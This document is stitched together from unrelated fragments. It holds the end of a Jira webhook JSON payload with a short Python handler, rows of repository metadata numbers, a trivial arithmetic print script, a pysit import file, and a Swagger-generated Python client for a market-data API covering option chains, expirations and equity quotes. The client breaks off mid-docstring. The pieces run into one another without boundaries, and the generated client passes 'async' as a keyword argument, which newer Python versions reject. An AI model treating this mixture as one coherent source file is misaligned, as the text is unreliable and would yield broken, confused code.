"self": "https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525",
"name": "dcruz",
"key": "dcruz",
"accountId": "5dee69782c44a60edee17525",
"avatarUrls": {
"48x48": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48",
"24x24": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24",
"16x16": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16",
"32x32": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"
},
"displayName": "Dinis Cruz",
"active": True,
"timeZone": "America/Chicago",
"accountType": "atlassian"
},
"customfield_10043": None,
"customfield_10044": None,
"aggregateprogress": {
"progress": 0,
"total": 0
},
"customfield_10045": [
],
"customfield_10046": None,
"customfield_10047": None,
"customfield_10048": None,
"customfield_10038": None,
"progress": {
"progress": 0,
"total": 0
},
"votes": {
"self": "https://glasswall.atlassian.net/rest/api/2/issue/SQUAD-10/votes",
"votes": 0,
"hasVoted": False
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10005",
"id": "10005",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10520&avatarType=issuetype",
"name": "Squad",
"subtask": False,
"avatarId": 10520
},
"timespent": None,
"customfield_10030": 0.0,
"customfield_10031": 9.0,
"project": {
"self": "https://glasswall.atlassian.net/rest/api/2/project/10006",
"id": "10006",
"key": "SQUAD",
"name": "Squad",
"projectTypeKey": "business",
"simplified": False,
"avatarUrls": {
"48x48": "https://glasswall.atlassian.net/secure/projectavatar?pid=10006&avatarId=10518",
"24x24": "https://glasswall.atlassian.net/secure/projectavatar?size=small&s=small&pid=10006&avatarId=10518",
"16x16": "https://glasswall.atlassian.net/secure/projectavatar?size=xsmall&s=xsmall&pid=10006&avatarId=10518",
"32x32": "https://glasswall.atlassian.net/secure/projectavatar?size=medium&s=medium&pid=10006&avatarId=10518"
}
},
"customfield_10032": 3.0,
"customfield_10033": None,
"aggregatetimespent": None,
"customfield_10034": None,
"customfield_10035": None,
"customfield_10036": None,
"customfield_10037": None,
"customfield_10028": 0.0,
"customfield_10029": 0.0,
"resolutiondate": None,
"workratio": -1,
"watches": {
"self": "https://glasswall.atlassian.net/rest/api/2/issue/SQUAD-10/watchers",
"watchCount": 2,
"isWatching": True
},
"created": "2019-12-09T18:20:43.271-0600",
"customfield_10020": None,
"customfield_10021": None,
"customfield_10022": None,
"customfield_10023": None,
"customfield_10016": None,
"customfield_10017": None,
"customfield_10018": {
"hasEpicLinkFieldDependency": False,
"showField": False,
"nonEditableReason": {
"reason": "PLUGIN_LICENSE_ERROR",
"message": "Portfolio for Jira must be licensed for the Parent Link to be available."
}
},
"customfield_10019": "0|i000n3:",
"updated": "2020-01-28T18:32:34.874-0600",
"timeoriginalestimate": None,
"description": "an description (test)",
"customfield_10010": None,
"customfield_10014": None,
"timetracking": {
},
"customfield_10015": None,
"customfield_10005": None,
"customfield_10006": None,
"security": None,
"customfield_10007": None,
"customfield_10008": None,
"customfield_10009": None,
"attachment": [
],
"summary": "CISO",
"customfield_10000": "{}",
"customfield_10001": None,
"customfield_10002": None,
"customfield_10003": None,
"customfield_10004": None,
"environment": None,
"duedate": None
}
},
"changelog": {
"id": "17324",
"items": [
{
"field": "description",
"fieldtype": "jira",
"fieldId": "description",
"from": None,
"fromString": "…….",
"to": None,
"toString": "an description (test)"
}
]
}
}
event_type = data.get('issue_event_type_name')
issue_raw = data.get('issue')
change_log = data.get('changelog')
key = issue_raw.get('key')
from osbot_jira.api.jira_server.API_Jira_Rest import API_Jira_Rest
api_jira_rest = API_Jira_Rest()
issue = api_jira_rest.convert_issue(issue_raw)
self.result = f"updated issue '{key}' after event '{event_type}' , change log: {change_log}"
| 50.932432
| 7,581
| 0.573149
| 3,814
| 37,690
| 5.613529
| 0.103566
| 0.083045
| 0.136432
| 0.154227
| 0.73461
| 0.73022
| 0.71887
| 0.718403
| 0.709855
| 0.667352
| 0
| 0.106298
| 0.252693
| 37,690
| 739
| 7,582
| 51.001353
| 0.653625
| 0
| 0
| 0.495822
| 0
| 0.044568
| 0.631467
| 0.02693
| 0
| 0
| 0
| 0
| 0
| 1
| 0.008357
| false
| 0
| 0.008357
| 0
| 0.018106
| 0.001393
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3490b06571f1871d217193600211b307d9ab93e4
| 51
|
py
|
Python
|
Lektion_5/python_berechnungen.py
|
tvotan/dhbw_python_kivy
|
41d363d41a79e1881128be54dc30b5d0c58afb70
|
[
"MIT"
] | 1
|
2020-10-27T15:27:06.000Z
|
2020-10-27T15:27:06.000Z
|
Lektion_5/python_berechnungen.py
|
tvotan/dhbw_python_kivy
|
41d363d41a79e1881128be54dc30b5d0c58afb70
|
[
"MIT"
] | null | null | null |
Lektion_5/python_berechnungen.py
|
tvotan/dhbw_python_kivy
|
41d363d41a79e1881128be54dc30b5d0c58afb70
|
[
"MIT"
] | null | null | null |
print(7 + 2)
print(7 - 2)
print(7 / 2)
print(7 * 2)
| 12.75
| 12
| 0.54902
| 12
| 51
| 2.333333
| 0.25
| 0.857143
| 1
| 1.285714
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0.2
| 0.215686
| 51
| 4
| 13
| 12.75
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 12
|
34ba5b394df9c381b195972e014a5c01c74d01ff
| 100
|
py
|
Python
|
pysit/MCMC/__init__.py
|
zfang-slim/PysitForPython3
|
dc60537b26018e28d92b7a956a2cf96775f0bdf9
|
[
"BSD-3-Clause"
] | null | null | null |
pysit/MCMC/__init__.py
|
zfang-slim/PysitForPython3
|
dc60537b26018e28d92b7a956a2cf96775f0bdf9
|
[
"BSD-3-Clause"
] | null | null | null |
pysit/MCMC/__init__.py
|
zfang-slim/PysitForPython3
|
dc60537b26018e28d92b7a956a2cf96775f0bdf9
|
[
"BSD-3-Clause"
] | 1
|
2020-06-13T07:13:07.000Z
|
2020-06-13T07:13:07.000Z
|
from pysit.MCMC.pCN import *
from pysit.MCMC.pCN_General import *
from pysit.MCMC.pCN_Tomo import *
| 25
| 36
| 0.79
| 17
| 100
| 4.529412
| 0.411765
| 0.350649
| 0.506494
| 0.623377
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12
| 100
| 3
| 37
| 33.333333
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
34fa261730f23dfb3ae617d16c11700ef75c6ca2
| 46,253
|
py
|
Python
|
swagger_client/mercury/client/api/marketdata_api.py
|
kovacicek/fiddleoptions
|
43e3517046fb4c47d3284d357e75099e81f861b7
|
[
"MIT"
] | null | null | null |
swagger_client/mercury/client/api/marketdata_api.py
|
kovacicek/fiddleoptions
|
43e3517046fb4c47d3284d357e75099e81f861b7
|
[
"MIT"
] | null | null | null |
swagger_client/mercury/client/api/marketdata_api.py
|
kovacicek/fiddleoptions
|
43e3517046fb4c47d3284d357e75099e81f861b7
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
Fiddle Options Platform
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class MarketdataApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_equity_quote(self, name, **kwargs): # noqa: E501
"""Returns equity quotes for each trading day for the given ticker and time period # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_equity_quote(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date _from:
:param date to:
:return: list[EquityQuote]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_equity_quote_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_equity_quote_with_http_info(name, **kwargs) # noqa: E501
return data
def get_equity_quote_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns equity quotes for each trading day for the given ticker and time period # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_equity_quote_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date _from:
:param date to:
:return: list[EquityQuote]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', '_from', 'to'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_equity_quote" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_equity_quote`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if '_from' in params:
query_params.append(('from', params['_from'])) # noqa: E501
if 'to' in params:
query_params.append(('to', params['to'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/equity/{name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[EquityQuote]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_expirations(self, name, **kwargs): # noqa: E501
"""Returns expirations for the given symbol and trading date # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_expirations(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date date:
:return: list[date]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_expirations_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_expirations_with_http_info(name, **kwargs) # noqa: E501
return data
def get_expirations_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns expirations for the given symbol and trading date # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_expirations_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date date:
:return: list[date]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'date'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_expirations" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_expirations`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'date' in params:
query_params.append(('date', params['date'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/expirations/{name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[date]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_horizontally_sliced_option_chain_by_delta(self, name, **kwargs): # noqa: E501
"""Returns horizontal slice of option chain for the given symbol, option type, trading dates, expiration, and the delta strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_horizontally_sliced_option_chain_by_delta(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date from_date:
:param date to_date:
:param date expiration:
:return: list[OptionChain]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_horizontally_sliced_option_chain_by_delta_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_horizontally_sliced_option_chain_by_delta_with_http_info(name, **kwargs) # noqa: E501
return data
def get_horizontally_sliced_option_chain_by_delta_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns horizontal slice of option chain for the given symbol, option type, trading dates, expiration, and the delta strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_horizontally_sliced_option_chain_by_delta_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date from_date:
:param date to_date:
:param date expiration:
:return: list[OptionChain]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'is_call', 'from_strike', 'to_strike', 'from_date', 'to_date', 'expiration'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_horizontally_sliced_option_chain_by_delta" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_horizontally_sliced_option_chain_by_delta`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'is_call' in params:
query_params.append(('isCall', params['is_call'])) # noqa: E501
if 'from_strike' in params:
query_params.append(('from_strike', params['from_strike'])) # noqa: E501
if 'to_strike' in params:
query_params.append(('to_strike', params['to_strike'])) # noqa: E501
if 'from_date' in params:
query_params.append(('from_date', params['from_date'])) # noqa: E501
if 'to_date' in params:
query_params.append(('to_date', params['to_date'])) # noqa: E501
if 'expiration' in params:
query_params.append(('expiration', params['expiration'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/{name}/horizontal-slice-by-delta', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[OptionChain]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_horizontally_sliced_option_chain_by_strike(self, name, **kwargs): # noqa: E501
"""Returns horizontal slice of option chain for the given symbol, option type, trading dates, expiration, and the strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_horizontally_sliced_option_chain_by_strike(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date from_date:
:param date to_date:
:param date expiration:
:return: list[OptionChain]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_horizontally_sliced_option_chain_by_strike_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_horizontally_sliced_option_chain_by_strike_with_http_info(name, **kwargs) # noqa: E501
return data
def get_horizontally_sliced_option_chain_by_strike_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns horizontal slice of option chain for the given symbol, option type, trading dates, expiration, and the strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_horizontally_sliced_option_chain_by_strike_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date from_date:
:param date to_date:
:param date expiration:
:return: list[OptionChain]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'is_call', 'from_strike', 'to_strike', 'from_date', 'to_date', 'expiration'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_horizontally_sliced_option_chain_by_strike" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_horizontally_sliced_option_chain_by_strike`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'is_call' in params:
query_params.append(('isCall', params['is_call'])) # noqa: E501
if 'from_strike' in params:
query_params.append(('from_strike', params['from_strike'])) # noqa: E501
if 'to_strike' in params:
query_params.append(('to_strike', params['to_strike'])) # noqa: E501
if 'from_date' in params:
query_params.append(('from_date', params['from_date'])) # noqa: E501
if 'to_date' in params:
query_params.append(('to_date', params['to_date'])) # noqa: E501
if 'expiration' in params:
query_params.append(('expiration', params['expiration'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/{name}/horizontal-slice-by-strike', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[OptionChain]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_option_chain(self, name, **kwargs): # noqa: E501
"""Returns option chain for the given symbol, trading date, and expiration date # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_option_chain(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_option_chain_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_option_chain_with_http_info(name, **kwargs) # noqa: E501
return data
def get_option_chain_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns option chain for the given symbol, trading date, and expiration date # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_option_chain_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'date', 'expiration'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_option_chain" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_option_chain`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'date' in params:
query_params.append(('date', params['date'])) # noqa: E501
if 'expiration' in params:
query_params.append(('expiration', params['expiration'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/{name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='OptionChain', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_server_time(self, **kwargs): # noqa: E501
"""Get the current server time # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_server_time(async=True)
>>> result = thread.get()
:param async bool
:return: str
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_server_time_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_server_time_with_http_info(**kwargs) # noqa: E501
return data
def get_server_time_with_http_info(self, **kwargs): # noqa: E501
"""Get the current server time # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_server_time_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:return: str
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_server_time" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/servertime', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='str', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_trading_dates(self, symbol, **kwargs): # noqa: E501
"""Returns actual trading days in specified from/to date range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_trading_dates(symbol, async=True)
>>> result = thread.get()
:param async bool
:param str symbol: (required)
:param date _from:
:param date to:
:return: list[date]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_trading_dates_with_http_info(symbol, **kwargs) # noqa: E501
else:
(data) = self.get_trading_dates_with_http_info(symbol, **kwargs) # noqa: E501
return data
def get_trading_dates_with_http_info(self, symbol, **kwargs): # noqa: E501
"""Returns actual trading days in specified from/to date range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_trading_dates_with_http_info(symbol, async=True)
>>> result = thread.get()
:param async bool
:param str symbol: (required)
:param date _from:
:param date to:
:return: list[date]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['symbol', '_from', 'to'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_trading_dates" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'symbol' is set
if ('symbol' not in params or
params['symbol'] is None):
raise ValueError("Missing the required parameter `symbol` when calling `get_trading_dates`") # noqa: E501
collection_formats = {}
path_params = {}
if 'symbol' in params:
path_params['symbol'] = params['symbol'] # noqa: E501
query_params = []
if '_from' in params:
query_params.append(('from', params['_from'])) # noqa: E501
if 'to' in params:
query_params.append(('to', params['to'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/tradingdates/{symbol}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[date]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_vertically_sliced_option_chain_by_delta(self, name, **kwargs): # noqa: E501
"""Returns vertical slice of option chain for the given symbol, option type, trading date, expiration, and the delta strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_vertically_sliced_option_chain_by_delta(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_vertically_sliced_option_chain_by_delta_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_vertically_sliced_option_chain_by_delta_with_http_info(name, **kwargs) # noqa: E501
return data
def get_vertically_sliced_option_chain_by_delta_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns vertical slice of option chain for the given symbol, option type, trading date, expiration, and the delta strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_vertically_sliced_option_chain_by_delta_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'is_call', 'from_strike', 'to_strike', 'date', 'expiration'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_vertically_sliced_option_chain_by_delta" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_vertically_sliced_option_chain_by_delta`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'is_call' in params:
query_params.append(('isCall', params['is_call'])) # noqa: E501
if 'from_strike' in params:
query_params.append(('from_strike', params['from_strike'])) # noqa: E501
if 'to_strike' in params:
query_params.append(('to_strike', params['to_strike'])) # noqa: E501
if 'date' in params:
query_params.append(('date', params['date'])) # noqa: E501
if 'expiration' in params:
query_params.append(('expiration', params['expiration'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/{name}/vertical-slice-by-delta', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='OptionChain', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_vertically_sliced_option_chain_by_strike(self, name, **kwargs): # noqa: E501
"""Returns vertical slice of option chain for the given symbol, option type, trading date, expiration, and the strike range # noqa: E501
